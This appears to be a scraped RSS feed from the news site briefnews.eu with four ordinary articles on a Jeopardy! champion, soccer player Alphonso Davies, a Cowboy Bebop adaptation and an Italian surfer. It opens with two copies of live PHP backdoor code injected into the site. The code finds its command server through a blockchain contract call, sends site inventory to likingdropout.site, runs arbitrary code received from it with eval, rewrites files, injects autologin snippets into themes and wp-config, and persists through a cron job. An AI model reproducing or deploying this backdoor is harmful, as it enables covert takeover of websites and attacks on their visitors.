// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); phenom – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 25 May 2019 09:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png phenom – Brief News https://briefnews.eu 32 32 Jeopardy! Phenom James Holzhauer Passes New Milestone With Latest Win https://briefnews.eu/jeopardy-phenom-james-holzhauer-passes-new-milestone-with-latest-win/ https://briefnews.eu/jeopardy-phenom-james-holzhauer-passes-new-milestone-with-latest-win/#respond Sat, 25 May 2019 09:05:00 +0000 http://briefnews.eu/jeopardy-phenom-james-holzhauer-passes-new-milestone-with-latest-win/

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Ken Jennings‘ standing as Jeopardy!‘s all-time highest earner is officially… in jeopardy. Trivia master James Holzhauer racked up his 27th consecutive win on Friday, officially putting the 34-year-old professional sports gambler past the $ 2 million mark. Factoring in the $ 74,000 he took home from Friday’s game, his overall earnings now total $ 2,065,535.

This puts him dangerously close to Jennings’ $ 2,520,700 total, which he earned over the course of 74 games back in 2004.

One of the secrets to Holzhauer’s meteoric rise has been his consistent willingness to take big risks, all of which have paid off thus far. And his latest victory was no exception; he wagered $ 35,000 on Friday’s “Final Jeopardy” question, nearly doubling what he’d already collected.

In his own words, however, Holzhauer recently said, “When I watch at home, I always root for the contestants to bet big on Daily Doubles. They get them right most of the time, and it can give them a big leg up on the competition. I’m proud of myself for sticking to that attitude when it was my money on the line.”

Holzhauer will return to Jeopardy! on Monday, May 27 (7/6c) to take on two new challengers. Are you rooting for him to knock Jennings off his throne? Hit PLAY on the video above to watch him pass the $ 2 million mark, then drop a comment with your thoughts on the Jeopardy! whiz below.

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]]> https://briefnews.eu/jeopardy-phenom-james-holzhauer-passes-new-milestone-with-latest-win/feed/ 0 Teen phenom Alphonso Davies keeps climbing, named Canadian men's soccer player of the year https://briefnews.eu/teen-phenom-alphonso-davies-keeps-climbing-named-canadian-mens-soccer-player-of-the-year/ https://briefnews.eu/teen-phenom-alphonso-davies-keeps-climbing-named-canadian-mens-soccer-player-of-the-year/#respond Wed, 12 Dec 2018 21:14:23 +0000 http://briefnews.eu/teen-phenom-alphonso-davies-keeps-climbing-named-canadian-mens-soccer-player-of-the-year/

Alphonso Davies has been voted the Canadian men's soccer player of the year, after a standout season with the men's national team and the Vancouver Whitecaps. 

Davis, who grew up in Edmonton after being born in Ghana, was honoured by a vote shared by media and coaches.

"He has been a standout performer for club and country and that is just a consistent reality now for Alphonso Davies," John Herdman, head coach of Canada's men's team, said in a statement released by Canada Soccer. "For club, he picked up many an accolade, culminating with what looks like one of the biggest signings our country has ever seen."

Christine Sinclair was named women's top player on Tuesday.

Davies won Vancouver Whitecaps FC player of the year honours. He scored eight goals, co-led the team with 11 assists (youngest player in league history to record double digit assists) and was selected to the all-star game.

In July, his rights were transferred to Bayern Munich on an MLS-record transfer fee that could total more than $ 29-million. Davies joined the German champions in late November after he turned 18 years old.

Alphonso Davies move to Bayern Munich imminent for record deal:

Davies' current team, the Vancouver Whitecaps tell CBC News they won't comment until Bayern Munich makes the official announcement. 9:27

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]]> https://briefnews.eu/teen-phenom-alphonso-davies-keeps-climbing-named-canadian-mens-soccer-player-of-the-year/feed/ 0 Cowboy Bebop: Live-Action Series Based on Japanese Anime Phenom Scores 10-Episode Netflix Order https://briefnews.eu/cowboy-bebop-live-action-series-based-on-japanese-anime-phenom-scores-10-episode-netflix-order/ https://briefnews.eu/cowboy-bebop-live-action-series-based-on-japanese-anime-phenom-scores-10-episode-netflix-order/#respond Wed, 28 Nov 2018 05:12:08 +0000 http://briefnews.eu/cowboy-bebop-live-action-series-based-on-japanese-anime-phenom-scores-10-episode-netflix-order/

Netflix is saying “Giddy up!” to Cowboy Bebop, placing a 10-episode series order for a live-action version of the late ’90s Japanese anime phenom, TVLine has learned.

Set in the future, the jazz-inspired, genre-bending series follows a rag-tag crew of bounty hunters (named Spike Spiegel, Jet Black, Faye Valentine and Radical Ed) on the run from their pasts as they hunt down the solar system’s most dangerous criminals. They’ll even save the world — for the right price.

Netflix will co-produce the project with Tomorrow Studios (a partnership between Marty Adelstein and ITV Studios). Alias vets Andre Nemec, Josh Appelbaum, Jeff Pinkner will handle show-running duties alongside Scott Rosenberg. Additional EPs include Marty Adelstein, Becky Clements, Yasuo Miyakawa, Masayuki Ozaki, Shin Sasaki, Tetsu Fujimura and Matthew Weinberg.

Christopher Yost (Thor: Ragnarok) will pen the first episode. Shinichiro Watanabe, director of the original anime version, will serve as a consultant.

A feature film version, titled Cowboy Bebop: The Movie, was released in 2001.

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]]> https://briefnews.eu/cowboy-bebop-live-action-series-based-on-japanese-anime-phenom-scores-10-episode-netflix-order/feed/ 0 From Rome, to Shred: Italy's Surfing Phenom Beats the Odds on Tour https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/ https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/#respond Sun, 05 Aug 2018 13:10:11 +0000 http://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/ There’s a moment on his way to placing first at the World Surf League Qualifying Series in Martinique in March when Leonardo Fioravanti seems to be taunting the waves. For most of his run, the 20-year-old phenom is crouched low, whipping and flipping his board in ways that should send this land-dweller tumbling into the shallow reef. And then, he stands up straight, arms stretched wide — proof that maybe reality does move more slowly when you’re in the zone.

Before he earned a ranking on the WSL’s Championship Tour, Firoavanti lived a much different life from many of his peers. A native of Rome, he grew up squishing into the back of his brother’s Mini for the hourlong trek to the coast and a chance to paddle into the Mediterranean surf. Fioravanti has been on the road since age 9, hitting junior circuits and taking up temporary residence in various parts of the world. Now, recovered from a horrific 2015 crash and approaching his athletic peak, the only Italian professional surfer wants more. His first goal is to be a consistent top finisher on the championship tour. Then? The first-ever Italian world champion.

“Everything is possible for him,” says Stephen Bell, Fioravanti’s stepfather and Quiksilver global team manager. “He wants to be world champion, and he has the potential.”

When you get a guy like Leonardo who has nothing to lose, he knows he has to go out there and have fun and be smart.

Kelly Slater, 11-time world champion

Still, Fioravanti recognizes that achieving his goals will take time: “I still have so much to learn. Of course I want to win now, but my goal is winning a world title in the next five to 10 years.”

That projection might have sounded conservative a few years ago. In 2014, Fioravanti’s debut season, he only competed in the second half of the year and still reached 28th on the WSL Qualifying Series, surfing’s equivalent of Triple-A. Afforded more time, Fioravanti likely would have qualified for the WSL Championship Tour — reserved for the sport’s 34 top athletes — and at 16, he would have been the youngest ever to achieve such a feat. In hindsight, he’s happy he didn’t. “I was much too young, but I was fired up for 2015,” he says.

His first event the following year, on Jan. 31, 2015, was the Volcom Pipe Pro at Hawaii’s famed — and deadly — Banzai Pipeline. But in his third-round heat, the kid from Rome was late on his wave. He wiped out hard, getting violently twisted and compressed against the reef. He remembers darkness and the wind being punched from his body. “I’ve never experienced a crash like that,” says Fioravanti. “Luckily the lifeguards did an incredible job, and the Jet-Skis towed me out of there.”

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Fioravanti never lost consciousness, but he had a fractured L1 (first lumbar) vertebra. A week later, he went under the knife, doubtful he’d ever surf again. The surgery was successful, and then he endured four months of intensive rehab at France’s Centre Européen de Rééducation du Sportif. “Every day, 8 a.m. to 5:30 p.m.,” he says. “All of the work actually helped time pass quickly.” By November, he was back at Pipeline. And despite feeling “a little uneasy,” he won his first heat. In the third heat, Fioravanti crashed again. The lifeguards began to mobilize when a head popped up from the surf — not a scratch to be seen. Since then, Fioravanti has tried not to look back.

Nearly 500 surfers earned at least one point on the WSL Qualifying Series in 2016. The top 16, who rack up points in the 20,000 range, are elevated to championship tour status for the following season. As the only Italian in the bunch, Fioravanti might appear to be an outsider, but his inner circle is as connected and accomplished a crew as there is. When Fioravanti’s mother, Serena Martini, saw that her 9-year-old son was serious about surfing, she moved with him to France for better opportunities. Fioravanti’s father, who runs a restaurant in Rome, stayed behind, and Martini, divorced from his father, met and married Bell, an Australian expat. As it happens, Bell is best friends with surfing legend Kelly Slater. “He’s been my idol my entire life,” Fioravanti says of Slater. “Suddenly, he’s sleeping at my house in France!”

Fioravanti cites his relationships with Slater and Bell as key to his development as a surfer. He finished 2016 ranked sixth on the qualifying series with 20,800 points. That year, he also got a major confidence boost after beating Slater not once but twice in head-to-head world tour heats — a significant upset considering surfing’s Michael Jordan lost to his wet-behind-the-ears teen buddy. For his part, the 40-something Slater was supportive, but measured, in defeat: “When you get a guy like Leonardo who has nothing to lose, he knows he has to go out there and have fun and be smart. He had a game plan, and it worked out for him.”

Last year, Fioravanti ranked 26th on the championship tour (meaning 26th in the world), but he still hadn’t won an event since 2014. The breakthrough came in Martinique this March. “It’s one thing to think you can do it,” says Fioravanti. “It’s another to actually do it.” More fame and sponsorship opportunities — on top of his current deals with Quiksilver, Red Bull and Gucci — are sure to follow if Fioravanti does well on the championship tour, but a world title is far from guaranteed. Since 1983, when the WSL became surfing’s premier governing body, 16 surfers have claimed the WSL Men’s Tour titles. Not one has come from Europe.

